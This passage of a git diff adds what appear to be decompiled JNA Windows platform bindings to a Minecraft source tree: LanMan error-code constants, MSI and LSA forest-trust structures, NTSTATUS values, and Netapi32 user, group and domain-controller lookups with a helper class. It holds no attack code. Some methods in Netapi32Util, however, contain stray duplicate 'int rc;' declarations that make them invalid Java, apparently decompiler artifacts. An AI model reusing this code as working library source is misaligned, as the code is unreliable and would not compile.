+
+public abstract interface LMErr
+  extends StdCallLibrary
+{
+  public static final int NERR_Success = 0;
+  public static final int NERR_BASE = 2100;
+  public static final int NERR_NetNotStarted = 2102;
+  public static final int NERR_UnknownServer = 2103;
+  public static final int NERR_ShareMem = 2104;
+  public static final int NERR_NoNetworkResource = 2105;
+  public static final int NERR_RemoteOnly = 2106;
+  public static final int NERR_DevNotRedirected = 2107;
+  public static final int NERR_ServerNotStarted = 2114;
+  public static final int NERR_ItemNotFound = 2115;
+  public static final int NERR_UnknownDevDir = 2116;
+  public static final int NERR_RedirectedPath = 2117;
+  public static final int NERR_DuplicateShare = 2118;
+  public static final int NERR_NoRoom = 2119;
+  public static final int NERR_TooManyItems = 2121;
+  public static final int NERR_InvalidMaxUsers = 2122;
+  public static final int NERR_BufTooSmall = 2123;
+  public static final int NERR_RemoteErr = 2127;
+  public static final int NERR_LanmanIniError = 2131;
+  public static final int NERR_NetworkError = 2136;
+  public static final int NERR_WkstaInconsistentState = 2137;
+  public static final int NERR_WkstaNotStarted = 2138;
+  public static final int NERR_BrowserNotStarted = 2139;
+  public static final int NERR_InternalError = 2140;
+  public static final int NERR_BadTransactConfig = 2141;
+  public static final int NERR_InvalidAPI = 2142;
+  public static final int NERR_BadEventName = 2143;
+  public static final int NERR_DupNameReboot = 2144;
+  public static final int NERR_CfgCompNotFound = 2146;
+  public static final int NERR_CfgParamNotFound = 2147;
+  public static final int NERR_LineTooLong = 2149;
+  public static final int NERR_QNotFound = 2150;
+  public static final int NERR_JobNotFound = 2151;
+  public static final int NERR_DestNotFound = 2152;
+  public static final int NERR_DestExists = 2153;
+  public static final int NERR_QExists = 2154;
+  public static final int NERR_QNoRoom = 2155;
+  public static final int NERR_JobNoRoom = 2156;
+  public static final int NERR_DestNoRoom = 2157;
+  public static final int NERR_DestIdle = 2158;
+  public static final int NERR_DestInvalidOp = 2159;
+  public static final int NERR_ProcNoRespond = 2160;
+  public static final int NERR_SpoolerNotLoaded = 2161;
+  public static final int NERR_DestInvalidState = 2162;
+  public static final int NERR_QInvalidState = 2163;
+  public static final int NERR_JobInvalidState = 2164;
+  public static final int NERR_SpoolNoMemory = 2165;
+  public static final int NERR_DriverNotFound = 2166;
+  public static final int NERR_DataTypeInvalid = 2167;
+  public static final int NERR_ProcNotFound = 2168;
+  public static final int NERR_ServiceTableLocked = 2180;
+  public static final int NERR_ServiceTableFull = 2181;
+  public static final int NERR_ServiceInstalled = 2182;
+  public static final int NERR_ServiceEntryLocked = 2183;
+  public static final int NERR_ServiceNotInstalled = 2184;
+  public static final int NERR_BadServiceName = 2185;
+  public static final int NERR_ServiceCtlTimeout = 2186;
+  public static final int NERR_ServiceCtlBusy = 2187;
+  public static final int NERR_BadServiceProgName = 2188;
+  public static final int NERR_ServiceNotCtrl = 2189;
+  public static final int NERR_ServiceKillProc = 2190;
+  public static final int NERR_ServiceCtlNotValid = 2191;
+  public static final int NERR_NotInDispatchTbl = 2192;
+  public static final int NERR_BadControlRecv = 2193;
+  public static final int NERR_ServiceNotStarting = 2194;
+  public static final int NERR_AlreadyLoggedOn = 2200;
+  public static final int NERR_NotLoggedOn = 2201;
+  public static final int NERR_BadUsername = 2202;
+  public static final int NERR_BadPassword = 2203;
+  public static final int NERR_UnableToAddName_W = 2204;
+  public static final int NERR_UnableToAddName_F = 2205;
+  public static final int NERR_UnableToDelName_W = 2206;
+  public static final int NERR_UnableToDelName_F = 2207;
+  public static final int NERR_LogonsPaused = 2209;
+  public static final int NERR_LogonServerConflict = 2210;
+  public static final int NERR_LogonNoUserPath = 2211;
+  public static final int NERR_LogonScriptError = 2212;
+  public static final int NERR_StandaloneLogon = 2214;
+  public static final int NERR_LogonServerNotFound = 2215;
+  public static final int NERR_LogonDomainExists = 2216;
+  public static final int NERR_NonValidatedLogon = 2217;
+  public static final int NERR_ACFNotFound = 2219;
+  public static final int NERR_GroupNotFound = 2220;
+  public static final int NERR_UserNotFound = 2221;
+  public static final int NERR_ResourceNotFound = 2222;
+  public static final int NERR_GroupExists = 2223;
+  public static final int NERR_UserExists = 2224;
+  public static final int NERR_ResourceExists = 2225;
+  public static final int NERR_NotPrimary = 2226;
+  public static final int NERR_ACFNotLoaded = 2227;
+  public static final int NERR_ACFNoRoom = 2228;
+  public static final int NERR_ACFFileIOFail = 2229;
+  public static final int NERR_ACFTooManyLists = 2230;
+  public static final int NERR_UserLogon = 2231;
+  public static final int NERR_ACFNoParent = 2232;
+  public static final int NERR_CanNotGrowSegment = 2233;
+  public static final int NERR_SpeGroupOp = 2234;
+  public static final int NERR_NotInCache = 2235;
+  public static final int NERR_UserInGroup = 2236;
+  public static final int NERR_UserNotInGroup = 2237;
+  public static final int NERR_AccountUndefined = 2238;
+  public static final int NERR_AccountExpired = 2239;
+  public static final int NERR_InvalidWorkstation = 2240;
+  public static final int NERR_InvalidLogonHours = 2241;
+  public static final int NERR_PasswordExpired = 2242;
+  public static final int NERR_PasswordCantChange = 2243;
+  public static final int NERR_PasswordHistConflict = 2244;
+  public static final int NERR_PasswordTooShort = 2245;
+  public static final int NERR_PasswordTooRecent = 2246;
+  public static final int NERR_InvalidDatabase = 2247;
+  public static final int NERR_DatabaseUpToDate = 2248;
+  public static final int NERR_SyncRequired = 2249;
+  public static final int NERR_UseNotFound = 2250;
+  public static final int NERR_BadAsgType = 2251;
+  public static final int NERR_DeviceIsShared = 2252;
+  public static final int NERR_SameAsComputerName = 2253;
+  public static final int NERR_NoComputerName = 2270;
+  public static final int NERR_MsgAlreadyStarted = 2271;
+  public static final int NERR_MsgInitFailed = 2272;
+  public static final int NERR_NameNotFound = 2273;
+  public static final int NERR_AlreadyForwarded = 2274;
+  public static final int NERR_AddForwarded = 2275;
+  public static final int NERR_AlreadyExists = 2276;
+  public static final int NERR_TooManyNames = 2277;
+  public static final int NERR_DelComputerName = 2278;
+  public static final int NERR_LocalForward = 2279;
+  public static final int NERR_GrpMsgProcessor = 2280;
+  public static final int NERR_PausedRemote = 2281;
+  public static final int NERR_BadReceive = 2282;
+  public static final int NERR_NameInUse = 2283;
+  public static final int NERR_MsgNotStarted = 2284;
+  public static final int NERR_NotLocalName = 2285;
+  public static final int NERR_NoForwardName = 2286;
+  public static final int NERR_RemoteFull = 2287;
+  public static final int NERR_NameNotForwarded = 2288;
+  public static final int NERR_TruncatedBroadcast = 2289;
+  public static final int NERR_InvalidDevice = 2294;
+  public static final int NERR_WriteFault = 2295;
+  public static final int NERR_DuplicateName = 2297;
+  public static final int NERR_DeleteLater = 2298;
+  public static final int NERR_IncompleteDel = 2299;
+  public static final int NERR_MultipleNets = 2300;
+  public static final int NERR_NetNameNotFound = 2310;
+  public static final int NERR_DeviceNotShared = 2311;
+  public static final int NERR_ClientNameNotFound = 2312;
+  public static final int NERR_FileIdNotFound = 2314;
+  public static final int NERR_ExecFailure = 2315;
+  public static final int NERR_TmpFile = 2316;
+  public static final int NERR_TooMuchData = 2317;
+  public static final int NERR_DeviceShareConflict = 2318;
+  public static final int NERR_BrowserTableIncomplete = 2319;
+  public static final int NERR_NotLocalDomain = 2320;
+  public static final int NERR_IsDfsShare = 2321;
+  public static final int NERR_DevInvalidOpCode = 2331;
+  public static final int NERR_DevNotFound = 2332;
+  public static final int NERR_DevNotOpen = 2333;
+  public static final int NERR_BadQueueDevString = 2334;
+  public static final int NERR_BadQueuePriority = 2335;
+  public static final int NERR_NoCommDevs = 2337;
+  public static final int NERR_QueueNotFound = 2338;
+  public static final int NERR_BadDevString = 2340;
+  public static final int NERR_BadDev = 2341;
+  public static final int NERR_InUseBySpooler = 2342;
+  public static final int NERR_CommDevInUse = 2343;
+  public static final int NERR_InvalidComputer = 2351;
+  public static final int NERR_MaxLenExceeded = 2354;
+  public static final int NERR_BadComponent = 2356;
+  public static final int NERR_CantType = 2357;
+  public static final int NERR_TooManyEntries = 2362;
+  public static final int NERR_ProfileFileTooBig = 2370;
+  public static final int NERR_ProfileOffset = 2371;
+  public static final int NERR_ProfileCleanup = 2372;
+  public static final int NERR_ProfileUnknownCmd = 2373;
+  public static final int NERR_ProfileLoadErr = 2374;
+  public static final int NERR_ProfileSaveErr = 2375;
+  public static final int NERR_LogOverflow = 2377;
+  public static final int NERR_LogFileChanged = 2378;
+  public static final int NERR_LogFileCorrupt = 2379;
+  public static final int NERR_SourceIsDir = 2380;
+  public static final int NERR_BadSource = 2381;
+  public static final int NERR_BadDest = 2382;
+  public static final int NERR_DifferentServers = 2383;
+  public static final int NERR_RunSrvPaused = 2385;
+  public static final int NERR_ErrCommRunSrv = 2389;
+  public static final int NERR_ErrorExecingGhost = 2391;
+  public static final int NERR_ShareNotFound = 2392;
+  public static final int NERR_InvalidLana = 2400;
+  public static final int NERR_OpenFiles = 2401;
+  public static final int NERR_ActiveConns = 2402;
+  public static final int NERR_BadPasswordCore = 2403;
+  public static final int NERR_DevInUse = 2404;
+  public static final int NERR_LocalDrive = 2405;
+  public static final int NERR_AlertExists = 2430;
+  public static final int NERR_TooManyAlerts = 2431;
+  public static final int NERR_NoSuchAlert = 2432;
+  public static final int NERR_BadRecipient = 2433;
+  public static final int NERR_AcctLimitExceeded = 2434;
+  public static final int NERR_InvalidLogSeek = 2440;
+  public static final int NERR_BadUasConfig = 2450;
+  public static final int NERR_InvalidUASOp = 2451;
+  public static final int NERR_LastAdmin = 2452;
+  public static final int NERR_DCNotFound = 2453;
+  public static final int NERR_LogonTrackingError = 2454;
+  public static final int NERR_NetlogonNotStarted = 2455;
+  public static final int NERR_CanNotGrowUASFile = 2456;
+  public static final int NERR_TimeDiffAtDC = 2457;
+  public static final int NERR_PasswordMismatch = 2458;
+  public static final int NERR_NoSuchServer = 2460;
+  public static final int NERR_NoSuchSession = 2461;
+  public static final int NERR_NoSuchConnection = 2462;
+  public static final int NERR_TooManyServers = 2463;
+  public static final int NERR_TooManySessions = 2464;
+  public static final int NERR_TooManyConnections = 2465;
+  public static final int NERR_TooManyFiles = 2466;
+  public static final int NERR_NoAlternateServers = 2467;
+  public static final int NERR_TryDownLevel = 2470;
+  public static final int NERR_UPSDriverNotStarted = 2480;
+  public static final int NERR_UPSInvalidConfig = 2481;
+  public static final int NERR_UPSInvalidCommPort = 2482;
+  public static final int NERR_UPSSignalAsserted = 2483;
+  public static final int NERR_UPSShutdownFailed = 2484;
+  public static final int NERR_BadDosRetCode = 2500;
+  public static final int NERR_ProgNeedsExtraMem = 2501;
+  public static final int NERR_BadDosFunction = 2502;
+  public static final int NERR_RemoteBootFailed = 2503;
+  public static final int NERR_BadFileCheckSum = 2504;
+  public static final int NERR_NoRplBootSystem = 2505;
+  public static final int NERR_RplLoadrNetBiosErr = 2506;
+  public static final int NERR_RplLoadrDiskErr = 2507;
+  public static final int NERR_ImageParamErr = 2508;
+  public static final int NERR_TooManyImageParams = 2509;
+  public static final int NERR_NonDosFloppyUsed = 2510;
+  public static final int NERR_RplBootRestart = 2511;
+  public static final int NERR_RplSrvrCallFailed = 2512;
+  public static final int NERR_CantConnectRplSrvr = 2513;
+  public static final int NERR_CantOpenImageFile = 2514;
+  public static final int NERR_CallingRplSrvr = 2515;
+  public static final int NERR_StartingRplBoot = 2516;
+  public static final int NERR_RplBootServiceTerm = 2517;
+  public static final int NERR_RplBootStartFailed = 2518;
+  public static final int NERR_RPL_CONNECTED = 2519;
+  public static final int NERR_BrowserConfiguredToNotRun = 2550;
+  public static final int NERR_RplNoAdaptersStarted = 2610;
+  public static final int NERR_RplBadRegistry = 2611;
+  public static final int NERR_RplBadDatabase = 2612;
+  public static final int NERR_RplRplfilesShare = 2613;
+  public static final int NERR_RplNotRplServer = 2614;
+  public static final int NERR_RplCannotEnum = 2615;
+  public static final int NERR_RplWkstaInfoCorrupted = 2616;
+  public static final int NERR_RplWkstaNotFound = 2617;
+  public static final int NERR_RplWkstaNameUnavailable = 2618;
+  public static final int NERR_RplProfileInfoCorrupted = 2619;
+  public static final int NERR_RplProfileNotFound = 2620;
+  public static final int NERR_RplProfileNameUnavailable = 2621;
+  public static final int NERR_RplProfileNotEmpty = 2622;
+  public static final int NERR_RplConfigInfoCorrupted = 2623;
+  public static final int NERR_RplConfigNotFound = 2624;
+  public static final int NERR_RplAdapterInfoCorrupted = 2625;
+  public static final int NERR_RplInternal = 2626;
+  public static final int NERR_RplVendorInfoCorrupted = 2627;
+  public static final int NERR_RplBootInfoCorrupted = 2628;
+  public static final int NERR_RplWkstaNeedsUserAcct = 2629;
+  public static final int NERR_RplNeedsRPLUSERAcct = 2630;
+  public static final int NERR_RplBootNotFound = 2631;
+  public static final int NERR_RplIncompatibleProfile = 2632;
+  public static final int NERR_RplAdapterNameUnavailable = 2633;
+  public static final int NERR_RplConfigNotEmpty = 2634;
+  public static final int NERR_RplBootInUse = 2635;
+  public static final int NERR_RplBackupDatabase = 2636;
+  public static final int NERR_RplAdapterNotFound = 2637;
+  public static final int NERR_RplVendorNotFound = 2638;
+  public static final int NERR_RplVendorNameUnavailable = 2639;
+  public static final int NERR_RplBootNameUnavailable = 2640;
+  public static final int NERR_RplConfigNameUnavailable = 2641;
+  public static final int NERR_DfsInternalCorruption = 2660;
+  public static final int NERR_DfsVolumeDataCorrupt = 2661;
+  public static final int NERR_DfsNoSuchVolume = 2662;
+  public static final int NERR_DfsVolumeAlreadyExists = 2663;
+  public static final int NERR_DfsAlreadyShared = 2664;
+  public static final int NERR_DfsNoSuchShare = 2665;
+  public static final int NERR_DfsNotALeafVolume = 2666;
+  public static final int NERR_DfsLeafVolume = 2667;
+  public static final int NERR_DfsVolumeHasMultipleServers = 2668;
+  public static final int NERR_DfsCantCreateJunctionPoint = 2669;
+  public static final int NERR_DfsServerNotDfsAware = 2670;
+  public static final int NERR_DfsBadRenamePath = 2671;
+  public static final int NERR_DfsVolumeIsOffline = 2672;
+  public static final int NERR_DfsNoSuchServer = 2673;
+  public static final int NERR_DfsCyclicalName = 2674;
+  public static final int NERR_DfsNotSupportedInServerDfs = 2675;
+  public static final int NERR_DfsDuplicateService = 2676;
+  public static final int NERR_DfsCantRemoveLastServerShare = 2677;
+  public static final int NERR_DfsVolumeIsInterDfs = 2678;
+  public static final int NERR_DfsInconsistent = 2679;
+  public static final int NERR_DfsServerUpgraded = 2680;
+  public static final int NERR_DfsDataIsIdentical = 2681;
+  public static final int NERR_DfsCantRemoveDfsRoot = 2682;
+  public static final int NERR_DfsChildOrParentInDfs = 2683;
+  public static final int NERR_DfsInternalError = 2690;
+  public static final int NERR_SetupAlreadyJoined = 2691;
+  public static final int NERR_SetupNotJoined = 2692;
+  public static final int NERR_SetupDomainController = 2693;
+  public static final int NERR_DefaultJoinRequired = 2694;
+  public static final int NERR_InvalidWorkgroupName = 2695;
+  public static final int NERR_NameUsesIncompatibleCodePage = 2696;
+  public static final int NERR_ComputerAccountNotFound = 2697;
+  public static final int NERR_PersonalSku = 2698;
+  public static final int NERR_SetupCheckDNSConfig = 2699;
+  public static final int NERR_PasswordMustChange = 2701;
+  public static final int NERR_AccountLockedOut = 2702;
+  public static final int NERR_PasswordTooLong = 2703;
+  public static final int NERR_PasswordNotComplexEnough = 2704;
+  public static final int NERR_PasswordFilterError = 2705;
+  public static final int MAX_NERR = 2999;
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/LMJoin.java b/src/minecraft/com/sun/jna/platform/win32/LMJoin.java
new file mode 100644
index 0000000..b40714e
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/LMJoin.java
@@ -0,0 +1,17 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.win32.StdCallLibrary;
+
+public abstract interface LMJoin
+  extends StdCallLibrary
+{
+  public static abstract class NETSETUP_JOIN_STATUS
+  {
+    public static final int NetSetupUnknownStatus = 0;
+    public static final int NetSetupUnjoined = 1;
+    public static final int NetSetupWorkgroupName = 2;
+    public static final int NetSetupDomainName = 3;
+    
+    public NETSETUP_JOIN_STATUS() {}
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Msi.java b/src/minecraft/com/sun/jna/platform/win32/Msi.java
new file mode 100644
index 0000000..3f6ed70
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Msi.java
@@ -0,0 +1,46 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Native;
+import com.sun.jna.ptr.IntByReference;
+import com.sun.jna.win32.StdCallLibrary;
+import com.sun.jna.win32.W32APIOptions;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Msi
+  extends StdCallLibrary
+{
+  public static final Msi INSTANCE = (Msi)Native.loadLibrary("msi", Msi.class, W32APIOptions.UNICODE_OPTIONS);
+  public static final int INSTALLSTATE_NOTUSED = -7;
+  public static final int INSTALLSTATE_BADCONFIG = -6;
+  public static final int INSTALLSTATE_INCOMPLETE = -5;
+  public static final int INSTALLSTATE_SOURCEABSENT = -4;
+  public static final int INSTALLSTATE_MOREDATA = -3;
+  public static final int INSTALLSTATE_INVALIDARG = -2;
+  public static final int INSTALLSTATE_UNKNOWN = -1;
+  public static final int INSTALLSTATE_BROKEN = 0;
+  public static final int INSTALLSTATE_ADVERTISED = 1;
+  public static final int INSTALLSTATE_REMOVED = 1;
+  public static final int INSTALLSTATE_ABSENT = 2;
+  public static final int INSTALLSTATE_LOCAL = 3;
+  public static final int INSTALLSTATE_SOURCE = 4;
+  public static final int INSTALLSTATE_DEFAULT = 5;
+  
+  public abstract int MsiGetComponentPath(String paramString1, String paramString2, char[] paramArrayOfChar, IntByReference paramIntByReference);
+  
+  public abstract int MsiLocateComponent(String paramString, char[] paramArrayOfChar, IntByReference paramIntByReference);
+  
+  public abstract int MsiGetProductCode(String paramString, char[] paramArrayOfChar);
+  
+  public abstract int MsiEnumComponents(WinDef.DWORD paramDWORD, char[] paramArrayOfChar);
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/NTSecApi.java b/src/minecraft/com/sun/jna/platform/win32/NTSecApi.java
new file mode 100644
index 0000000..bf20d1a
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/NTSecApi.java
@@ -0,0 +1,224 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Memory;
+import com.sun.jna.NativeLong;
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure;
+import com.sun.jna.Structure.ByReference;
+import com.sun.jna.Union;
+import com.sun.jna.win32.StdCallLibrary;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface NTSecApi
+  extends StdCallLibrary
+{
+  public static final int ForestTrustTopLevelName = 0;
+  public static final int ForestTrustTopLevelNameEx = 1;
+  public static final int ForestTrustDomainInfo = 2;
+  
+  public static class LSA_UNICODE_STRING
+    extends Structure
+  {
+    public short Length;
+    public short MaximumLength;
+    public Pointer Buffer;
+    
+    public LSA_UNICODE_STRING() {}
+    
+    public String getString()
+    {
+      byte[] data = Buffer.getByteArray(0L, Length);
+      if ((data.length < 2) || (data[(data.length - 1)] != 0)) {
+        Memory newdata = new Memory(data.length + 2);
+        newdata.write(0L, data, 0, data.length);
+        return newdata.getString(0L, true);
+      }
+      return Buffer.getString(0L, true);
+    }
+    
+
+
+    public static class ByReference
+      extends NTSecApi.LSA_UNICODE_STRING
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+    }
+  }
+  
+
+
+  public static class PLSA_UNICODE_STRING
+  {
+    public NTSecApi.LSA_UNICODE_STRING.ByReference s;
+    
+
+
+    public PLSA_UNICODE_STRING() {}
+    
+
+
+    public static class ByReference
+      extends NTSecApi.PLSA_UNICODE_STRING
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+    }
+  }
+  
+
+
+  public static class LSA_FOREST_TRUST_DOMAIN_INFO
+    extends Structure
+  {
+    public WinNT.PSID.ByReference Sid;
+    
+
+    public NTSecApi.LSA_UNICODE_STRING DnsName;
+    
+
+    public NTSecApi.LSA_UNICODE_STRING NetbiosName;
+    
+
+
+    public LSA_FOREST_TRUST_DOMAIN_INFO() {}
+  }
+  
+
+
+  public static class LSA_FOREST_TRUST_BINARY_DATA
+    extends Structure
+  {
+    public NativeLong Length;
+    
+    public Pointer Buffer;
+    
+
+    public LSA_FOREST_TRUST_BINARY_DATA() {}
+  }
+  
+
+  public static class LSA_FOREST_TRUST_RECORD
+    extends Structure
+  {
+    public NativeLong Flags;
+    
+    public int ForestTrustType;
+    
+    public WinNT.LARGE_INTEGER Time;
+    
+    public UNION u;
+    
+
+    public LSA_FOREST_TRUST_RECORD() {}
+    
+
+    public void read()
+    {
+      super.read();
+      
+      switch (ForestTrustType) {
+      case 0: 
+      case 1: 
+        u.setType(NTSecApi.LSA_UNICODE_STRING.class);
+        break;
+      case 2: 
+        u.setType(NTSecApi.LSA_FOREST_TRUST_DOMAIN_INFO.class);
+        break;
+      default: 
+        u.setType(NTSecApi.LSA_FOREST_TRUST_BINARY_DATA.class);
+      }
+      
+      
+      u.read();
+    }
+    
+    public static class UNION extends Union {
+      public NTSecApi.LSA_UNICODE_STRING TopLevelName;
+      public NTSecApi.LSA_FOREST_TRUST_DOMAIN_INFO DomainInfo;
+      public NTSecApi.LSA_FOREST_TRUST_BINARY_DATA Data;
+      
+      public UNION() {}
+      
+      public static class ByReference extends NTSecApi.LSA_FOREST_TRUST_RECORD.UNION implements Structure.ByReference {
+        public ByReference() {}
+      }
+    }
+    
+    public static class ByReference extends NTSecApi.LSA_FOREST_TRUST_RECORD implements Structure.ByReference {
+      public ByReference() {}
+    }
+  }
+  
+  public static class PLSA_FOREST_TRUST_RECORD extends Structure {
+    public NTSecApi.LSA_FOREST_TRUST_RECORD.ByReference tr;
+    
+    public PLSA_FOREST_TRUST_RECORD() {}
+    
+    public static class ByReference extends NTSecApi.PLSA_FOREST_TRUST_RECORD implements Structure.ByReference {
+      public ByReference() {}
+    }
+  }
+  
+  public static class LSA_FOREST_TRUST_INFORMATION extends Structure { public NativeLong RecordCount;
+    public NTSecApi.PLSA_FOREST_TRUST_RECORD.ByReference Entries;
+    
+    public LSA_FOREST_TRUST_INFORMATION() {}
+    
+    public NTSecApi.PLSA_FOREST_TRUST_RECORD[] getEntries() { return (NTSecApi.PLSA_FOREST_TRUST_RECORD[])Entries.toArray(RecordCount.intValue()); }
+    
+    public static class ByReference
+      extends NTSecApi.LSA_FOREST_TRUST_INFORMATION
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+    }
+  }
+  
+  public static class PLSA_FOREST_TRUST_INFORMATION
+    extends Structure
+  {
+    public NTSecApi.LSA_FOREST_TRUST_INFORMATION.ByReference fti;
+    
+    public PLSA_FOREST_TRUST_INFORMATION() {}
+    
+    public static class ByReference
+      extends NTSecApi.PLSA_FOREST_TRUST_INFORMATION
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/NTStatus.java b/src/minecraft/com/sun/jna/platform/win32/NTStatus.java
new file mode 100644
index 0000000..b2e22d9
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/NTStatus.java
@@ -0,0 +1,15 @@
+package com.sun.jna.platform.win32;
+
+public abstract interface NTStatus
+{
+  public static final int STATUS_SUCCESS = 0;
+  public static final int STATUS_BUFFER_TOO_SMALL = -1073741789;
+  public static final int STATUS_WAIT_0 = 0;
+  public static final int STATUS_WAIT_1 = 1;
+  public static final int STATUS_WAIT_2 = 2;
+  public static final int STATUS_WAIT_3 = 3;
+  public static final int STATUS_WAIT_63 = 63;
+  public static final int STATUS_ABANDONED = 128;
+  public static final int STATUS_ABANDONED_WAIT_0 = 128;
+  public static final int STATUS_ABANDONED_WAIT_63 = 191;
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Netapi32.java b/src/minecraft/com/sun/jna/platform/win32/Netapi32.java
new file mode 100644
index 0000000..a73edb2
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Netapi32.java
@@ -0,0 +1,66 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Native;
+import com.sun.jna.NativeLong;
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure;
+import com.sun.jna.ptr.IntByReference;
+import com.sun.jna.ptr.NativeLongByReference;
+import com.sun.jna.ptr.PointerByReference;
+import com.sun.jna.win32.StdCallLibrary;
+import com.sun.jna.win32.W32APIOptions;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Netapi32
+  extends StdCallLibrary
+{
+  public static final Netapi32 INSTANCE = (Netapi32)Native.loadLibrary("Netapi32", Netapi32.class, W32APIOptions.UNICODE_OPTIONS);
+  
+  public abstract int NetGetJoinInformation(String paramString, PointerByReference paramPointerByReference, IntByReference paramIntByReference);
+  
+  public abstract int NetApiBufferFree(Pointer paramPointer);
+  
+  public abstract int NetLocalGroupEnum(String paramString, int paramInt1, PointerByReference paramPointerByReference, int paramInt2, IntByReference paramIntByReference1, IntByReference paramIntByReference2, IntByReference paramIntByReference3);
+  
+  public abstract int NetGetDCName(String paramString1, String paramString2, PointerByReference paramPointerByReference);
+  
+  public abstract int NetGroupEnum(String paramString, int paramInt1, PointerByReference paramPointerByReference, int paramInt2, IntByReference paramIntByReference1, IntByReference paramIntByReference2, IntByReference paramIntByReference3);
+  
+  public abstract int NetUserEnum(String paramString, int paramInt1, int paramInt2, PointerByReference paramPointerByReference, int paramInt3, IntByReference paramIntByReference1, IntByReference paramIntByReference2, IntByReference paramIntByReference3);
+  
+  public abstract int NetUserGetGroups(String paramString1, String paramString2, int paramInt1, PointerByReference paramPointerByReference, int paramInt2, IntByReference paramIntByReference1, IntByReference paramIntByReference2);
+  
+  public abstract int NetUserGetLocalGroups(String paramString1, String paramString2, int paramInt1, int paramInt2, PointerByReference paramPointerByReference, int paramInt3, IntByReference paramIntByReference1, IntByReference paramIntByReference2);
+  
+  public abstract int NetUserAdd(String paramString, int paramInt, Structure paramStructure, IntByReference paramIntByReference);
+  
+  public abstract int NetUserDel(String paramString1, String paramString2);
+  
+  public abstract int NetUserChangePassword(String paramString1, String paramString2, String paramString3, String paramString4);
+  
+  public abstract int DsGetDcName(String paramString1, String paramString2, Guid.GUID paramGUID, String paramString3, int paramInt, DsGetDC.PDOMAIN_CONTROLLER_INFO.ByReference paramByReference);
+  
+  public abstract int DsGetForestTrustInformation(String paramString1, String paramString2, int paramInt, NTSecApi.PLSA_FOREST_TRUST_INFORMATION.ByReference paramByReference);
+  
+  public abstract int DsEnumerateDomainTrusts(String paramString, NativeLong paramNativeLong, DsGetDC.PDS_DOMAIN_TRUSTS.ByReference paramByReference, NativeLongByReference paramNativeLongByReference);
+  
+  public abstract int NetUserGetInfo(String paramString1, String paramString2, int paramInt, PointerByReference paramPointerByReference);
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Netapi32Util.java b/src/minecraft/com/sun/jna/platform/win32/Netapi32Util.java
new file mode 100644
index 0000000..d4f221c
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Netapi32Util.java
@@ -0,0 +1,703 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.NativeLong;
+import com.sun.jna.Pointer;
+import com.sun.jna.WString;
+import com.sun.jna.ptr.IntByReference;
+import com.sun.jna.ptr.NativeLongByReference;
+import com.sun.jna.ptr.PointerByReference;
+import java.util.ArrayList;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Netapi32Util
+{
+  public Netapi32Util() {}
+  
+  public static String getDCName()
+  {
+    return getDCName(null, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String getDCName(String serverName, String domainName)
+  {
+    PointerByReference bufptr = new PointerByReference();
+    try {
+      int rc = Netapi32.INSTANCE.NetGetDCName(domainName, serverName, bufptr);
+      if (0 != rc) {
+        throw new Win32Exception(rc);
+      }
+      return bufptr.getValue().getString(0L, true);
+    } finally {
+      if (0 != Netapi32.INSTANCE.NetApiBufferFree(bufptr.getValue())) {
+        throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+      }
+    }
+  }
+  
+
+
+
+  public static int getJoinStatus()
+  {
+    return getJoinStatus(null);
+  }
+  
+
+
+
+
+  public static int getJoinStatus(String computerName)
+  {
+    PointerByReference lpNameBuffer = new PointerByReference();
+    IntByReference bufferType = new IntByReference();
+    try
+    {
+      int rc = Netapi32.INSTANCE.NetGetJoinInformation(computerName, lpNameBuffer, bufferType);
+      if (0 != rc)
+        throw new Win32Exception(rc);
+      int rc;
+      return bufferType.getValue();
+    } finally {
+      if (lpNameBuffer.getPointer() != null) {
+        int rc = Netapi32.INSTANCE.NetApiBufferFree(lpNameBuffer.getValue());
+        if (0 != rc) {
+          throw new Win32Exception(rc);
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  public static String getDomainName(String computerName)
+  {
+    PointerByReference lpNameBuffer = new PointerByReference();
+    IntByReference bufferType = new IntByReference();
+    try
+    {
+      int rc = Netapi32.INSTANCE.NetGetJoinInformation(computerName, lpNameBuffer, bufferType);
+      if (0 != rc) {
+        throw new Win32Exception(rc);
+      }
+      int rc;
+      return lpNameBuffer.getValue().getString(0L, true);
+    } finally {
+      if (lpNameBuffer.getPointer() != null) {
+        int rc = Netapi32.INSTANCE.NetApiBufferFree(lpNameBuffer.getValue());
+        if (0 != rc) {
+          throw new Win32Exception(rc);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public static LocalGroup[] getLocalGroups()
+  {
+    return getLocalGroups(null);
+  }
+  
+
+
+
+
